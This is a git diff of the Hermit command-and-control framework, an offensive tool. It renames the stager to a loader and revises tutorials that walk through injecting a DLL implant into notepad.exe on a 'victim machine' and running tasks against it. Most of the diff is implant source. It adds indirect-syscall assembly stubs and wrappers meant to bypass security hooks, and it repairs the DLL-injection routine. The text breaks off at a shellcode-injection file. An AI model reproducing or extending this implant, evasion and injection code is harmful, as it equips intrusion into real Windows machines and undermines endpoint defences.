diff --git a/config.json b/config.json index 797781e..9c0cd79 100644 --- a/config.json +++ b/config.json @@ -32,7 +32,7 @@ "/chat", "/ws" ], - "/stager/download": [ + "/loader/download": [ "/20200524.pdf", "/Meeting_2022-01-23.pdf", "/Report_2024-02-16.pdf", diff --git a/docs/assets/images/terminal/payload_gen_loader_dll_win_amd64_exe.png b/docs/assets/images/terminal/payload_gen_loader_dll_win_amd64_exe.png new file mode 100644 index 0000000..d412579 Binary files /dev/null and b/docs/assets/images/terminal/payload_gen_loader_dll_win_amd64_exe.png differ diff --git a/docs/assets/images/terminal/payload_gen_stager_dll_loader_win_amd64_exe.png b/docs/assets/images/terminal/payload_gen_stager_dll_loader_win_amd64_exe.png deleted file mode 100644 index 77cfbbe..0000000 Binary files a/docs/assets/images/terminal/payload_gen_stager_dll_loader_win_amd64_exe.png and /dev/null differ diff --git a/docs/tutorials/simple-dll-injection.md b/docs/tutorials/simple-dll-injection.md index 1d5db0e..1ca8f06 100644 --- a/docs/tutorials/simple-dll-injection.md +++ b/docs/tutorials/simple-dll-injection.md @@ -1,6 +1,6 @@ # Simple DLL Injection -In this tutorial, we generate a stager that loads our DLL implant into another process on Windows victim machine. Then make the C2 agent to communicate with our C2 server. +In this tutorial, we generate **DLL Implant** and **Loader** which loads the DLL into memory on Windows victim machine. Then make the C2 agent to communicate with our C2 server. Assume that you've completed [the Simple Implant Beacon tutorial](./simple-implant-beacon.md). @@ -48,16 +48,16 @@ We can freely delete arbitrary payload by selecting a payload on this menu (of c This payload is stored under `$HOME/.hermit/server/listeners/listener-/payloads/`. The DLL loader that we will create later will find this DLL file in this directory and load it automatically, so don't move this payload. -## 4. Generate DLL Loader (Stager) +## 4. Generate DLL Loader -Next, generate a stager that loads our DLL implant and inject it on specific process. +Next, generate a DLL loader that loads the DLL implant and inject it on specific process. Run `payload gen` command again: -![payload gen](../assets/images/terminal/payload_gen_stager_dll_loader_win_amd64_exe.png) +![payload gen](../assets/images/terminal/payload_gen_loader_dll_win_amd64_exe.png) In the option wizard, choose the following options at least: -- What to generate? -> `stager/dll-loader` +- What to generate? -> `loader/dll` - OS/Arch/Format -> `windows/amd64/exe` - Listener URL -> (Same URL as when generating the DLL) - Technique -> `dll-injection` @@ -65,26 +65,26 @@ In the option wizard, choose the following options at least: This stager is also generated under `$HOME/.hermit/server/listeners/listener-/payloads/`. -### Transfer Stager +### Transfer the Loader -**Now we need to transfer the generetad stager to Windows victim machine.** +**Now we need to transfer the generetad loader to Windows victim machine.** -## 5. Execute Stager +## 5. Execute Loader -In Windows victime machine, at first, start `notepad.exe` as target process to inject DLL: +In Windows victime machine, at first, start `notepad.exe` as target process to inject our DLL into: ```ps title="Windows Victim Machine" PS C:\Users\victim\Desktop> notepad ``` That's because we've specified `notepad.exe` (by default) as target process in the previous **Generate DLL Loader** section. -By doing so, our stager can inject the DLL into the `notepad` process. +By doing so, our loader can inject the DLL into the `notepad` process. -Finally we can execute the stager as below: +Finally we can execute the loader as below: ```ps title="Windows Victim Machine" # Replace the filename with our own. -PS C:\Users\victim\Desktop> .\stager.exe +PS C:\Users\victim\Desktop> .\loader.exe ``` ## 6. Switch to Agent Mode @@ -107,9 +107,10 @@ Hermit [agent-abcd] > ps ls This task prints all running processes on victim machine. -After a few seconds, run the `loot show` command to see the result: +After a few seconds, run the `task results` or `loot show` command to see the result: ```sh title="Hermit C2 Server Console [Agent Mode]" +Hermit [agent-abcd] > task results Hermit [agent-abcd] > loot show ``` @@ -119,7 +120,7 @@ Looking at the task result, we can see that our DLL implant is running on the `N ![loot ps](../assets/images/terminal/loot_show_ps.png) -That's because the stager injected the DLL implant into the `notepad.exe` process. +That's because the loader injected the DLL into the `notepad.exe` process. ## 8. Stop Implant & Quit Agent Mode diff --git a/docs/tutorials/simple-implant-beacon.md b/docs/tutorials/simple-implant-beacon.md index 677ffec..efc357e 100644 --- a/docs/tutorials/simple-implant-beacon.md +++ b/docs/tutorials/simple-implant-beacon.md @@ -125,9 +125,11 @@ This task retrieves the username on the victim machine. To see the tasks waiting for results, run the `tasks` command. -After few seconds, if the task is successful, we can see the task results with the `loot show` command: +After a few seconds, if the task is successful, we can see the task results with the `task result` or `loot show` command: ```sh title="Hermit C2 Server Console [Agent Mode]" +Hermit [agent-abcd] > task results +# or Hermit [agent-abcd] > loot show ``` diff --git a/payload/win/implant/include/core/procs.hpp b/payload/win/implant/include/core/procs.hpp index 0403b94..473d6cd 100644 --- a/payload/win/implant/include/core/procs.hpp +++ b/payload/win/implant/include/core/procs.hpp @@ -52,7 +52,6 @@ namespace Procs // NtSetInformationFile typedef NTSTATUS (NTAPI* LPPROC_NTSETINFORMATIONFILE)(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, FILE_INFORMATION_CLASS FileInformationClass); - // **NATIVE APIs (RUNTIME LIBRARY)** // RtlAllocateHeap typedef PVOID (NTAPI* LPPROC_RTLALLOCATEHEAP)(PVOID HeapHandle, ULONG Flags, SIZE_T Size); @@ -70,8 +69,6 @@ namespace Procs typedef NTSTATUS (NTAPI* LPPROC_RTLQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); // RtlExpandEnvironmentStrings typedef NTSTATUS (NTAPI* LPPROC_RTLEXPANDENVIRONMENTSTRINGS)(PVOID Environment, PCWSTR Source, SIZE_T SourceLength, PWSTR Destination, SIZE_T DestinationLength, PSIZE_T ReturnLength); - // RtlNtStatusToDosError - typedef DWORD (NTAPI* LPPROC_RTLNTSTATUSTODOSERROR)(NTSTATUS Status); // **WINAPIs** // WinHttpOpen @@ -100,48 +97,75 @@ namespace Procs struct PROCS { // **NATIVE APIs** - LPPROC_NTCREATEPROCESS lpNtCreateProcess = nullptr; - LPPROC_NTOPENPROCESS lpNtOpenProcess = nullptr; - LPPROC_NTTERMINATEPROCESS lpNtTerminateProcess = nullptr; - LPPROC_NTSETINFORMATIONPROCESS lpNtSetInformationProcess = nullptr; - LPPROC_NTCREATETHREADEX lpNtCreateThreadEx = nullptr; - LPPROC_NTRESUMETHREAD lpNtResumeThread = nullptr; - LPPROC_NTALLOCATEVIRTUALMEMORY lpNtAllocateVirtualMemory = nullptr; - LPPROC_NTWRITEVIRTUALMEMORY lpNtWriteVirtualMemory = nullptr; - LPPROC_NTFREEVIRTUALMEMORY lpNtFreeVirtualMemory = nullptr; - LPPROC_NTDUPLICATEOBJECT lpNtDuplicateObject = nullptr; - LPPROC_NTWAITFORSINGLEOBJECT lpNtWaitForSingleObject = nullptr; - LPPROC_NTCLOSE lpNtClose = nullptr; - LPPROC_NTCREATEFILE lpNtCreateFile = nullptr; - LPPROC_NTREADFILE lpNtReadFile = nullptr; - LPPROC_NTWRITEFILE lpNtWriteFile = nullptr; - LPPROC_NTCREATENAMEDPIPEFILE lpNtCreateNamedPipeFile = nullptr; - LPPROC_NTQUERYINFORMATIONFILE lpNtQueryInformationFile = nullptr; - LPPROC_NTSETINFORMATIONFILE lpNtSetInformationFile = nullptr; + LPPROC_NTCREATEPROCESS lpNtCreateProcess = nullptr; + LPPROC_NTOPENPROCESS lpNtOpenProcess = nullptr; + LPPROC_NTTERMINATEPROCESS lpNtTerminateProcess = nullptr; + LPPROC_NTSETINFORMATIONPROCESS lpNtSetInformationProcess = nullptr; + LPPROC_NTCREATETHREADEX lpNtCreateThreadEx = nullptr; + LPPROC_NTRESUMETHREAD lpNtResumeThread = nullptr; + LPPROC_NTALLOCATEVIRTUALMEMORY lpNtAllocateVirtualMemory = nullptr; + LPPROC_NTWRITEVIRTUALMEMORY lpNtWriteVirtualMemory = nullptr; + LPPROC_NTFREEVIRTUALMEMORY lpNtFreeVirtualMemory = nullptr; + LPPROC_NTDUPLICATEOBJECT lpNtDuplicateObject = nullptr; + LPPROC_NTWAITFORSINGLEOBJECT lpNtWaitForSingleObject = nullptr; + LPPROC_NTCLOSE lpNtClose = nullptr; + LPPROC_NTCREATEFILE lpNtCreateFile = nullptr; + LPPROC_NTREADFILE lpNtReadFile = nullptr; + LPPROC_NTWRITEFILE lpNtWriteFile = nullptr; + LPPROC_NTCREATENAMEDPIPEFILE lpNtCreateNamedPipeFile = nullptr; + LPPROC_NTQUERYINFORMATIONFILE lpNtQueryInformationFile = nullptr; + LPPROC_NTSETINFORMATIONFILE lpNtSetInformationFile = nullptr; // **RUNTIME LIBRARY APIs** - LPPROC_RTLALLOCATEHEAP lpRtlAllocateHeap = nullptr; - LPPROC_RTLZEROMEMORY lpRtlZeroMemory = nullptr; - LPPROC_RTLINITUNICODESTRING lpRtlInitUnicodeString = nullptr; - LPPROC_RTLSTRINGCCHCATW lpRtlStringCchCatW = nullptr; - LPPROC_RTLSTRINGCCHCOPYW lpRtlStringCchCopyW = nullptr; - LPPROC_RTLSTRINGCCHLENGTHW lpRtlStringCchLengthW = nullptr; - LPPROC_RTLQUERYSYSTEMINFORMATION lpRtlQuerySystemInformation = nullptr; - LPPROC_RTLEXPANDENVIRONMENTSTRINGS lpRtlExpandEnvironmentStrings = nullptr; - LPPROC_RTLNTSTATUSTODOSERROR lpRtlNtStatusToDosError = nullptr; + LPPROC_RTLALLOCATEHEAP lpRtlAllocateHeap = nullptr; + LPPROC_RTLZEROMEMORY lpRtlZeroMemory = nullptr; + LPPROC_RTLINITUNICODESTRING lpRtlInitUnicodeString = nullptr; + LPPROC_RTLSTRINGCCHCATW lpRtlStringCchCatW = nullptr; + LPPROC_RTLSTRINGCCHCOPYW lpRtlStringCchCopyW = nullptr; + LPPROC_RTLSTRINGCCHLENGTHW lpRtlStringCchLengthW = nullptr; + LPPROC_RTLQUERYSYSTEMINFORMATION lpRtlQuerySystemInformation = nullptr; + LPPROC_RTLEXPANDENVIRONMENTSTRINGS lpRtlExpandEnvironmentStrings = nullptr; // **WINAPIs** - LPPROC_WINHTTPOPEN lpWinHttpOpen = nullptr; - LPPROC_WINHTTPCONNECT lpWinHttpConnect = nullptr; - LPPROC_WINHTTPOPENREQUEST lpWinHttpOpenRequest = nullptr; - LPPROC_WINHTTPSETOPTION lpWinHttpSetOption = nullptr; - LPPROC_WINHTTPSENDREQUEST lpWinHttpSendRequest = nullptr; - LPPROC_WINHTTPWRITEDATA lpWinHttpWriteData = nullptr; - LPPROC_WINHTTPRECEIVERESPONSE lpWinHttpReceiveResponse = nullptr; - LPPROC_WINHTTPQUERYHEADERS lpWinHttpQueryHeaders = nullptr; - LPPROC_WINHTTPQUERYDATAAVAILABLE lpWinHttpQueryDataAvailable = nullptr; - LPPROC_WINHTTPREADDATA lpWinHttpReadData = nullptr; - LPPROC_WINHTTPCLOSEHANDLE lpWinHttpCloseHandle = nullptr; + LPPROC_WINHTTPOPEN lpWinHttpOpen = nullptr; + LPPROC_WINHTTPCONNECT lpWinHttpConnect = nullptr; + LPPROC_WINHTTPOPENREQUEST lpWinHttpOpenRequest = nullptr; + LPPROC_WINHTTPSETOPTION lpWinHttpSetOption = nullptr; + LPPROC_WINHTTPSENDREQUEST lpWinHttpSendRequest = nullptr; + LPPROC_WINHTTPWRITEDATA lpWinHttpWriteData = nullptr; + LPPROC_WINHTTPRECEIVERESPONSE lpWinHttpReceiveResponse = nullptr; + LPPROC_WINHTTPQUERYHEADERS lpWinHttpQueryHeaders = nullptr; + LPPROC_WINHTTPQUERYDATAAVAILABLE lpWinHttpQueryDataAvailable = nullptr; + LPPROC_WINHTTPREADDATA lpWinHttpReadData = nullptr; + LPPROC_WINHTTPCLOSEHANDLE lpWinHttpCloseHandle = nullptr; + + // **SYSCALLS** + Syscalls::SYSCALL sysNtCreateProcess = {0}; + Syscalls::SYSCALL sysNtOpenProcess = {0}; + Syscalls::SYSCALL sysNtTerminateProcess = {0}; + Syscalls::SYSCALL sysNtSetInformationProcess = {0}; + Syscalls::SYSCALL sysNtCreateThreadEx = {0}; + Syscalls::SYSCALL sysNtResumeThread = {0}; + Syscalls::SYSCALL sysNtAllocateVirtualMemory = {0}; + Syscalls::SYSCALL sysNtWriteVirtualMemory = {0}; + Syscalls::SYSCALL sysNtFreeVirtualMemory = {0}; + Syscalls::SYSCALL sysNtDuplicateObject = {0}; + Syscalls::SYSCALL sysNtWaitForSingleObject = {0}; + Syscalls::SYSCALL sysNtClose = {0}; + Syscalls::SYSCALL sysNtCreateFile = {0}; + Syscalls::SYSCALL sysNtReadFile = {0}; + Syscalls::SYSCALL sysNtWriteFile = {0}; + Syscalls::SYSCALL sysNtCreateNamedPipeFile = {0}; + Syscalls::SYSCALL sysNtQueryInformationFile = {0}; + Syscalls::SYSCALL sysNtSetInformationFile = {0}; + Syscalls::SYSCALL sysRtlAllocateHeap = {0}; + Syscalls::SYSCALL sysRtlZeroMemory = {0}; + Syscalls::SYSCALL sysRtlInitUnicodeString = {0}; + Syscalls::SYSCALL sysRtlStringCchCatW = {0}; + Syscalls::SYSCALL sysRtlStringCchCopyW = {0}; + Syscalls::SYSCALL sysRtlStringCchLengthW = {0}; + Syscalls::SYSCALL sysRtlQuerySystemInformation = {0}; + Syscalls::SYSCALL sysRtlExpandEnvironmentStrings = {0}; }; typedef PROCS* PPROCS; diff --git a/payload/win/implant/include/core/syscalls.hpp b/payload/win/implant/include/core/syscalls.hpp index db4337e..bc60b39 100644 --- a/payload/win/implant/include/core/syscalls.hpp +++ b/payload/win/implant/include/core/syscalls.hpp @@ -4,90 +4,34 @@ #ifndef HERMIT_CORE_SYSCALLS_HPP #define HERMIT_CORE_SYSCALLS_HPP +#include "core/utils.hpp" + #include #include -// #ifndef InitializeObjectAttributes -// #define InitializeObjectAttributes( p, n, a, r, s ) { \ -// (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ -// (p)->RootDirectory = r; \ -// (p)->Attributes = a; \ -// (p)->ObjectName = n; \ -// (p)->SecurityDescriptor = s; \ -// (p)->SecurityQualityOfService = NULL; \ -// } -// #endif +extern "C" DWORD SysSample(void*); +extern "C" VOID SysSet(void*); +extern "C" NTSTATUS SysInvoke(...); -typedef struct _PS_ATTRIBUTE -{ - ULONG Attribute; - SIZE_T Size; - union - { - ULONG Value; - PVOID ValuePtr; - } u1; - PSIZE_T ReturnLength; -} PS_ATTRIBUTE, * PPS_ATTRIBUTE; +extern "C" DWORD SysNumber; -typedef struct _PS_ATTRIBUTE_LIST +template +NTSTATUS CallSysInvoke(FirstArg pSyscall, SecondArg lpProc, Args... args) { - SIZE_T TotalLength; - PS_ATTRIBUTE Attributes[1]; -} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST; - -// extern "C" -// { - - // Syscall Functions - // NTSTATUS NtOpenProcess( - // OUT PHANDLE ProcessHandle, - // IN ACCESS_MASK DesiredAccess, - // IN POBJECT_ATTRIBUTES ObjectAttributes, - // IN PCLIENT_ID ClientId OPTIONAL - // ); - - // NTSTATUS NtAllocateVirtualMemory( - // IN HANDLE ProcessHandle, - // IN OUT PVOID* BaseAddress, - // IN ULONG ZeroBits, - // IN OUT PSIZE_T RegionSize, - // IN ULONG AllocationType, - // IN ULONG Protect - // ); - - // NTSTATUS NtWriteVirtualMemory( - // IN HANDLE ProcessHandle, - // IN PVOID BaseAddress, - // IN PVOID Buffer, - // IN SIZE_T NumberOfBytesToWrite, - // OUT PSIZE_T NumberOfBytesWritten OPTIONAL - // ); + NTSTATUS status; - // NTSTATUS NtCreateThreadEx( - // OUT PHANDLE ThreadHandle, - // IN ACCESS_MASK DesiredAccess, - // IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, - // IN HANDLE ProcessHandle, - // IN PVOID StartRoutine, - // IN PVOID Argument OPTIONAL, - // IN ULONG CreateFlags, - // IN SIZE_T ZeroBits, - // IN SIZE_T StackSize, - // IN SIZE_T MaximumStackSize, - // IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL - // ); - - // NTSTATUS NtWaitForSingleObject( - // IN HANDLE Handle, - // IN BOOLEAN Alertable, - // IN PLARGE_INTEGER Timeout - // ); + if (pSyscall->dwSSN == 0) + { + status = lpProc(args...); + } + else + { + SysSet(pSyscall); + status = SysInvoke(args...); + } - // NTSTATUS NtClose( - // IN HANDLE Handle - // ); -// } + return status; +} namespace Syscalls { @@ -98,19 +42,7 @@ namespace Syscalls }; typedef SYSCALL* PSYSCALL; - struct SYSCALLS - { - SYSCALL sysNtOpenProcess; - SYSCALL sysNtAllocateVirtualMemory; - SYSCALL sysNtWriteVirtualMemory; - SYSCALL sysNtCreateThreadEx; - SYSCALL sysNtWaitForSingleObject; - SYSCALL sysNtClose; - }; - typedef SYSCALLS* PSYSCALLS; - - SYSCALL FindSyscall(HMODULE hNTDLL, LPCSTR lpNtFunc); - PSYSCALLS FindSyscalls(HMODULE hNTDLL); + SYSCALL FindSyscall(HMODULE hNTDLL, LPCSTR lpNtFunc); } #endif // HERMIT_CORE_SYSCALLS_HPP \ No newline at end of file diff --git a/payload/win/implant/src/asm/syscalls.x64.asm b/payload/win/implant/src/asm/syscalls.x64.asm index 4d40122..068c405 100644 --- a/payload/win/implant/src/asm/syscalls.x64.asm +++ b/payload/win/implant/src/asm/syscalls.x64.asm @@ -1,61 +1,23 @@ -section .data - extern NtOpenProcessSSN - extern NtOpenProcessAddr +; Inspired: +; https://github.com/HavocFramework/Havoc/blob/ea3646e055eb1612dcc956130fd632029dbf0b86/payloads/Demon/src/asm/Syscall.x64.asm#L1 section .text - - ; global SysSet - ; global SysInvoke - - ; global SysNtOpenProcess - ; global SysNtAllocateVirtualMemory - ; global SysNtWriteVirtualMemory - ; global SysNtCreateThreadEx - ; global SysNtWaitForSingleObject - ; global SysNtClose - - ; SysSet: - ; mov r11, rcx - ; ret - - ; SysInvoke: - ; mov r10, rcx - ; mov eax, [r11 + 0x8] - ; jmp qword [r11] - ; ret - - ; SysNtOpenProcess: - mov r10, rcx - mov eax, NtOpenProcessSSN - jmp qword [NtOpenProcessAddr] - ret - - ; SysNtAllocateVirtualMemory: - ; mov r10, rcx - ; mov eax, NtAllocateVirtualMemorySSN - ; jmp qword [NtAllocateVirtualMemorySyscall] - ; ret - - ; SysNtWriteVirtualMemory: - ; mov r10, rcx - ; mov eax, NtWriteVirtualMemorySSN - ; jmp qword [NtWriteVirtualMemorySyscall] - ; ret - - ; SysNtCreateThreadEx: - ; mov r10, rcx - ; mov eax, NtCreateThreadExSSN - ; jmp qword [NtCreateThreadExSyscall] - ; ret - - ; SysNtWaitForSingleObject: - ; mov r10, rcx - ; mov eax, NtWaitForSingleObjectSSN - ; jmp qword [NtWaitForSingleObjectSyscall] - ; ret - - ; SysNtClose: - ; mov r10, rcx - ; mov eax, NtCloseSSN - ; jmp qword [NtCloseSyscall] - ; ret + global SysSample + global SysSet + global SysInvoke + +SysSample: + mov rax, rcx + mov eax, [rax] + add eax, [rax + 0x8] + ret + +SysSet: + mov r11, rcx + ret + +SysInvoke: + mov r10, rcx + mov eax, [r11 + 0x8] + jmp qword [r11] + ret diff --git a/payload/win/implant/src/core/procs.cpp b/payload/win/implant/src/core/procs.cpp index 8ebbb87..12416e4 100644 --- a/payload/win/implant/src/core/procs.cpp +++ b/payload/win/implant/src/core/procs.cpp @@ -5,8 +5,9 @@ namespace Procs PPROCS FindProcs(HMODULE hNTDLL, HMODULE hWinHTTPDLL, BOOL bIndirectSyscalls) { PPROCS pProcs = new PROCS; - + // NT APIs + pProcs->lpNtCreateProcess = reinterpret_cast(GetProcAddress(hNTDLL, "NtCreateProcess")); pProcs->lpNtOpenProcess = reinterpret_cast(GetProcAddress(hNTDLL, "NtOpenProcess")); pProcs->lpNtTerminateProcess = reinterpret_cast(GetProcAddress(hNTDLL, "NtTerminateProcess")); pProcs->lpNtCreateThreadEx = reinterpret_cast(GetProcAddress(hNTDLL, "NtCreateThreadEx")); @@ -31,7 +32,6 @@ namespace Procs pProcs->lpRtlStringCchCatW = reinterpret_cast(GetProcAddress(hNTDLL, "RtlStringCchCatW")); pProcs->lpRtlStringCchCopyW = reinterpret_cast(GetProcAddress(hNTDLL, "RtlStringCchCopyW")); pProcs->lpRtlStringCchLengthW = reinterpret_cast(GetProcAddress(hNTDLL, "RtlStringCchLengthW")); - pProcs->lpRtlNtStatusToDosError = reinterpret_cast(GetProcAddress(hNTDLL, "RtlNtStatusToDosError")); // WINAPIs pProcs->lpWinHttpOpen = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpOpen")); @@ -46,6 +46,33 @@ namespace Procs pProcs->lpWinHttpReadData = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpReadData")); pProcs->lpWinHttpCloseHandle = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpCloseHandle")); + if (bIndirectSyscalls) + { + pProcs->sysNtCreateProcess = Syscalls::FindSyscall(hNTDLL, "NtCreateProcess"); + pProcs->sysNtOpenProcess = Syscalls::FindSyscall(hNTDLL, "NtOpenProcess"); + pProcs->sysNtTerminateProcess = Syscalls::FindSyscall(hNTDLL, "NtTerminateProcess"); + pProcs->sysNtCreateThreadEx = Syscalls::FindSyscall(hNTDLL, "NtCreateThreadEx"); + pProcs->sysNtResumeThread = Syscalls::FindSyscall(hNTDLL, "NtResumeThread"); + pProcs->sysNtAllocateVirtualMemory = Syscalls::FindSyscall(hNTDLL, "NtAllocateVirtualMemory"); + pProcs->sysNtWriteVirtualMemory = Syscalls::FindSyscall(hNTDLL, "NtWriteVirtualMemory"); + pProcs->sysNtFreeVirtualMemory = Syscalls::FindSyscall(hNTDLL, "NtFreeVirtualMemory"); + pProcs->sysNtDuplicateObject = Syscalls::FindSyscall(hNTDLL, "NtDuplicateObject"); + pProcs->sysNtWaitForSingleObject = Syscalls::FindSyscall(hNTDLL, "NtWaitForSingleObject"); + pProcs->sysNtClose = Syscalls::FindSyscall(hNTDLL, "NtClose"); + pProcs->sysNtCreateFile = Syscalls::FindSyscall(hNTDLL, "NtCreateFile"); + pProcs->sysNtReadFile = Syscalls::FindSyscall(hNTDLL, "NtReadFile"); + pProcs->sysNtWriteFile = Syscalls::FindSyscall(hNTDLL, "NtWriteFile"); + pProcs->sysNtCreateNamedPipeFile = Syscalls::FindSyscall(hNTDLL, "NtCreateNamedPipeFile"); + pProcs->sysNtSetInformationFile = Syscalls::FindSyscall(hNTDLL, "NtSetInformationFile"); + pProcs->sysNtQueryInformationFile = Syscalls::FindSyscall(hNTDLL, "NtQueryInformationFile"); + pProcs->sysRtlAllocateHeap = Syscalls::FindSyscall(hNTDLL, "RtlAllocateHeap"); + pProcs->sysRtlZeroMemory = Syscalls::FindSyscall(hNTDLL, "RtlZeroMemory"); + pProcs->sysRtlInitUnicodeString = Syscalls::FindSyscall(hNTDLL, "RtlInitUnicodeString"); + pProcs->sysRtlStringCchCatW = Syscalls::FindSyscall(hNTDLL, "RtlStringCchCatW"); + pProcs->sysRtlStringCchCopyW = Syscalls::FindSyscall(hNTDLL, "RtlStringCchCopyW"); + pProcs->sysRtlStringCchLengthW = Syscalls::FindSyscall(hNTDLL, "RtlStringCchLengthW"); + } + return pProcs; } } diff --git a/payload/win/implant/src/core/syscalls.cpp b/payload/win/implant/src/core/syscalls.cpp index be37309..e9fadb9 100644 --- a/payload/win/implant/src/core/syscalls.cpp +++ b/payload/win/implant/src/core/syscalls.cpp @@ -6,7 +6,7 @@ namespace Syscalls // Reference: https://www.crow.rip/crows-nest/mal/dev/inject/syscalls/indirect-syscalls SYSCALL FindSyscall(HMODULE hNTDLL, LPCSTR lpNtFunc) { - SYSCALL syscall = {0}; + SYSCALL syscall; UINT_PTR pNtFuncAddr = (UINT_PTR)nullptr; BYTE syscallOpcode[2] = {0x0F, 0x05}; @@ -17,31 +17,14 @@ namespace Syscalls return syscall; } - // *dwSysSSN = ((PBYTE)(pNtFuncAddr + 4))[0]; - // *pSysAddr = pNtFuncAddr + 0x12; - syscall.dwSSN = ((PBYTE)(pNtFuncAddr + 4))[0]; syscall.pAddr = pNtFuncAddr + 0x12; - if (memcpy(syscallOpcode, (const void*)syscall.pAddr, sizeof(syscallOpcode)) != 0) + if (memcmp(syscallOpcode, (const void*)syscall.pAddr, sizeof(syscallOpcode)) != 0) { - return syscall; + return {0}; } return syscall; } - - // Get syscall numbers and addresses. - PSYSCALLS FindSyscalls(HMODULE hNTDLL) { - PSYSCALLS pSyscalls = new SYSCALLS; - - pSyscalls->sysNtOpenProcess = FindSyscall(hNTDLL, "NtOpenProcess"); - pSyscalls->sysNtAllocateVirtualMemory = FindSyscall(hNTDLL, "NtAllocateVirtualMemory"); - pSyscalls->sysNtWriteVirtualMemory = FindSyscall(hNTDLL, "NtWriteVirtualMemory"); - pSyscalls->sysNtCreateThreadEx = FindSyscall(hNTDLL, "NtCreateThreadEx"); - pSyscalls->sysNtWaitForSingleObject = FindSyscall(hNTDLL, "NtWaitForSingleObject"); - pSyscalls->sysNtClose = FindSyscall(hNTDLL, "NtClose"); - - return pSyscalls; - } } \ No newline at end of file diff --git a/payload/win/implant/src/core/system/fs.cpp b/payload/win/implant/src/core/system/fs.cpp index ec96eca..19fe263 100644 --- a/payload/win/implant/src/core/system/fs.cpp +++ b/payload/win/implant/src/core/system/fs.cpp @@ -212,23 +212,41 @@ namespace System::Fs IO_STATUS_BLOCK ioStatusBlock; OBJECT_ATTRIBUTES objAttr; UNICODE_STRING uniFilePath; - + pProcs->lpRtlInitUnicodeString(&uniFilePath, wFileAbsPath.c_str()); InitializeObjectAttributes(&objAttr, &uniFilePath, OBJ_CASE_INSENSITIVE, NULL, NULL); - status = pProcs->lpNtCreateFile( + // status = pProcs->lpNtCreateFile( + // &hFile, + // FILE_GENERIC_READ, + // &objAttr, + // &ioStatusBlock, + // NULL, + // FILE_ATTRIBUTE_NORMAL, + // FILE_SHARE_READ, + // OPEN_EXISTING, + // FILE_SYNCHRONOUS_IO_NONALERT, + // NULL, + // 0 + // ); + // } + + status = CallSysInvoke( + &pProcs->sysNtCreateFile, + pProcs->lpNtCreateFile, &hFile, FILE_GENERIC_READ, &objAttr, &ioStatusBlock, - NULL, + (PLARGE_INTEGER)nullptr, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, OPEN_EXISTING, FILE_SYNCHRONOUS_IO_NONALERT, - NULL, + nullptr, 0 ); + if (status != STATUS_SUCCESS) { return std::vector(); diff --git a/payload/win/implant/src/core/system/process.cpp b/payload/win/implant/src/core/system/process.cpp index 3ae1445..0eaaaeb 100644 --- a/payload/win/implant/src/core/system/process.cpp +++ b/payload/win/implant/src/core/system/process.cpp @@ -8,7 +8,6 @@ namespace System::Process DWORD dwDesiredAccess, HANDLE hParentProcess ) { - NTSTATUS status; HANDLE hProcess; OBJECT_ATTRIBUTES objAttr; UNICODE_STRING uniAppName; @@ -17,7 +16,7 @@ namespace System::Process RtlInitUnicodeString(&uniAppName, lpApplicationName); // Create a new process. - status = pProcs->lpNtCreateProcess( + NTSTATUS status = pProcs->lpNtCreateProcess( &hProcess, dwDesiredAccess, &objAttr, @@ -52,6 +51,7 @@ namespace System::Process &oa, &clientId ); + return hProcess; } @@ -96,12 +96,18 @@ namespace System::Process SIZE_T dwSize, DWORD dwFreeType ) { - return pProcs->lpNtFreeVirtualMemory( + NTSTATUS status = pProcs->lpNtFreeVirtualMemory( hProcess, lpBaseAddr, &dwSize, dwFreeType ); + if (status != STATUS_SUCCESS) + { + return FALSE; + } + + return TRUE; } BOOL VirtualMemoryWrite( @@ -135,7 +141,7 @@ namespace System::Process HANDLE hThread; static OBJECT_ATTRIBUTES oa = { sizeof(oa) }; - NTSTATUS ntStatus = pProcs->lpNtCreateThreadEx( + NTSTATUS status = pProcs->lpNtCreateThreadEx( &hThread, THREAD_ALL_ACCESS, NULL, @@ -148,12 +154,12 @@ namespace System::Process 0, NULL ); - if (ntStatus != STATUS_SUCCESS) + if (status != STATUS_SUCCESS) { return NULL; } - return NULL; + return hThread; } std::wstring ExecuteCmd(Procs::PPROCS pProcs, const std::wstring& wCmd) diff --git a/payload/win/implant/src/core/task/dll.cpp b/payload/win/implant/src/core/task/dll.cpp index 9ad928a..7262704 100644 --- a/payload/win/implant/src/core/task/dll.cpp +++ b/payload/win/implant/src/core/task/dll.cpp @@ -32,7 +32,7 @@ namespace Task // Inject DLL if (!Technique::Injection::DllInjection(pState->pProcs, dwPid, (LPVOID)wDllDest.c_str(), dwDllDestSize)) { - return L"Error: Failed to injection DLL."; + return L"Error: Failed to inject DLL."; } return L"Success: Dll injected successfully."; diff --git a/payload/win/implant/src/core/technique/injection/dll_injection.cpp b/payload/win/implant/src/core/technique/injection/dll_injection.cpp index ed0d82f..6f60c99 100644 --- a/payload/win/implant/src/core/technique/injection/dll_injection.cpp +++ b/payload/win/implant/src/core/technique/injection/dll_injection.cpp @@ -31,6 +31,7 @@ namespace Technique::Injection ); if (!pBaseAddr) { + pProcs->lpNtClose(hProcess); return FALSE; } @@ -49,6 +50,7 @@ namespace Technique::Injection 0, MEM_RELEASE ); + pProcs->lpNtClose(hProcess); return FALSE; } @@ -65,6 +67,7 @@ namespace Technique::Injection 0, MEM_RELEASE ); + pProcs->lpNtClose(hProcess); return FALSE; } @@ -87,10 +90,10 @@ namespace Technique::Injection return FALSE; } - // pProcs->lpNtWaitForSingleObject(hThread, FALSE, NULL); + pProcs->lpNtWaitForSingleObject(hThread, FALSE, NULL); - // pProcs->lpNtClose(hProcess); - // pProcs->lpNtClose(hThread); + pProcs->lpNtClose(hProcess); + pProcs->lpNtClose(hThread); return TRUE; } diff --git a/payload/win/implant/src/core/technique/injection/shellcode_injection.cpp b/payload/win/implant/src/core/technique/injection/shellcode_injection.cpp index 3ee8f38..cab4388 100644 --- a/payload/win/implant/src/core/technique/injection/shellcode_injection.cpp +++ 